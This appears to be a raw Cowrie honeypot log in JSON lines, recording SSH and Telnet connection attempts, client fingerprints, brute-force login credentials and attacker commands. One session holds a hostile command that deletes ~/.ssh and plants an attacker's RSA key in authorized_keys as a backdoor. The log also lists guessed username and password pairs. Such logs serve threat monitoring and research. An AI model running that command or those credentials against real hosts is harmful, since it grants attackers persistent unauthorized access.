{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:53:00.086776Z","src_ip":"2.57.121.112","session":"0ea0ce7663e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":43314,"dst_ip":"159.203.135.109","dst_port":22,"session":"a956404d82be","protocol":"ssh","message":"New connection: 20.203.42.204:43314 (159.203.135.109:22) [session: a956404d82be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:53:09.069148Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:53:09.073305Z","src_ip":"20.203.42.204","session":"a956404d82be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:53:09.248571Z","src_ip":"20.203.42.204","session":"a956404d82be","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle#2021","message":"login attempt [oracle/oracle#2021] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:53:10.157146Z","src_ip":"20.203.42.204","session":"a956404d82be","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:53:10.588647Z","src_ip":"20.203.42.204","session":"a956404d82be","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:53:10.591597Z","src_ip":"20.203.42.204","session":"a956404d82be","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:53:10.594287Z","src_ip":"20.203.42.204","session":"a956404d82be","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:53:10.851230Z","src_ip":"20.203.42.204","session":"a956404d82be","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:53:11.265438Z","src_ip":"20.203.42.204","session":"a956404d82be","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:53:11.268704Z","src_ip":"20.203.42.204","session":"a956404d82be","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:53:11.467945Z","src_ip":"20.203.42.204","session":"a956404d82be","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:53:11.472204Z","src_ip":"20.203.42.204","session":"a956404d82be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":41066,"dst_ip":"159.203.135.109","dst_port":22,"session":"7fda12eb5001","protocol":"ssh","message":"New connection: 20.203.42.204:41066 (159.203.135.109:22) [session: 7fda12eb5001]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:53:11.632133Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:53:11.636664Z","src_ip":"20.203.42.204","session":"7fda12eb5001","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:53:11.803313Z","src_ip":"20.203.42.204","session":"7fda12eb5001","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:53:12.501283Z","src_ip":"20.203.42.204","session":"7fda12eb5001","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:53:13.672509Z","src_ip":"20.203.42.204","session":"7fda12eb5001","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":41072,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f34f84285e2","protocol":"ssh","message":"New connection: 20.203.42.204:41072 (159.203.135.109:22) [session: 9f34f84285e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:53:13.834123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:53:13.841734Z","src_ip":"20.203.42.204","session":"9f34f84285e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:53:14.007451Z","src_ip":"20.203.42.204","session":"9f34f84285e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.232139110565186,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:53:14.402217Z","src_ip":"65.60.27.33","session":"1627a16bca34","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:53:14.702483Z","src_ip":"20.203.42.204","session":"9f34f84285e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.8","message":"Connection lost after 5.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:53:14.871186Z","src_ip":"20.203.42.204","session":"a956404d82be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:53:14.875479Z","src_ip":"20.203.42.204","session":"9f34f84285e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.115","src_port":53644,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee3cf1e8ee32","protocol":"ssh","message":"New connection: 103.176.20.115:53644 (10.17.0.5:22) [session: ee3cf1e8ee32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:53:15.039346Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:53:15.044569Z","src_ip":"103.176.20.115","session":"ee3cf1e8ee32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:53:15.303266Z","src_ip":"103.176.20.115","session":"ee3cf1e8ee32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitadmin","password":"gitadmin","message":"login attempt [gitadmin/gitadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:53:16.373396Z","src_ip":"103.176.20.115","session":"ee3cf1e8ee32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.79043912887573,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:53:16.990789Z","src_ip":"165.232.131.181","session":"9fca38c010a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.946019887924194,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:53:17.614914Z","src_ip":"192.211.53.160","session":"8a94daa30383","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:53:17.634163Z","src_ip":"103.176.20.115","session":"ee3cf1e8ee32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.935977935791016,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:53:19.854982Z","src_ip":"38.54.119.93","session":"4cf4eefbaba8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.25583791732788,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:53:22.895872Z","src_ip":"192.211.53.160","session":"383f0a1d9340","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"61.72.55.130","src_port":50912,"dst_ip":"159.203.135.109","dst_port":22,"session":"2db628525964","protocol":"ssh","message":"New connection: 61.72.55.130:50912 (159.203.135.109:22) [session: 2db628525964]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:53:28.780198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:53:28.784977Z","src_ip":"61.72.55.130","session":"2db628525964","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:53:28.991926Z","src_ip":"61.72.55.130","session":"2db628525964","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"asdQWE123","message":"login attempt [ubuntu/asdQWE123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:53:29.826621Z","src_ip":"61.72.55.130","session":"2db628525964","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:53:31.030241Z","src_ip":"61.72.55.130","session":"2db628525964","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":49816,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc3e2ed0e571","protocol":"telnet","message":"New connection: 65.60.27.33:49816 (10.17.0.5:23) [session: cc3e2ed0e571]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:53:36.856507Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":58872,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac6779321024","protocol":"telnet","message":"New connection: 38.54.119.93:58872 (10.17.0.5:23) [session: ac6779321024]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:53:40.295784Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":55780,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f3e2b9f30e9","protocol":"telnet","message":"New connection: 45.81.23.16:55780 (10.17.0.5:23) [session: 3f3e2b9f30e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:54:09.978462Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.115","src_port":42278,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb739ff7c53d","protocol":"ssh","message":"New connection: 103.176.20.115:42278 (10.17.0.5:22) [session: bb739ff7c53d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:54:13.888032Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:54:13.892639Z","src_ip":"103.176.20.115","session":"bb739ff7c53d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:54:14.145339Z","src_ip":"103.176.20.115","session":"bb739ff7c53d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aA112233","message":"login attempt [root/aA112233] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:54:15.191419Z","src_ip":"103.176.20.115","session":"bb739ff7c53d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.34094834327698,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:54:16.197333Z","src_ip":"65.60.27.33","session":"cc3e2ed0e571","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:54:16.447218Z","src_ip":"103.176.20.115","session":"bb739ff7c53d","protocol":"ssh"}
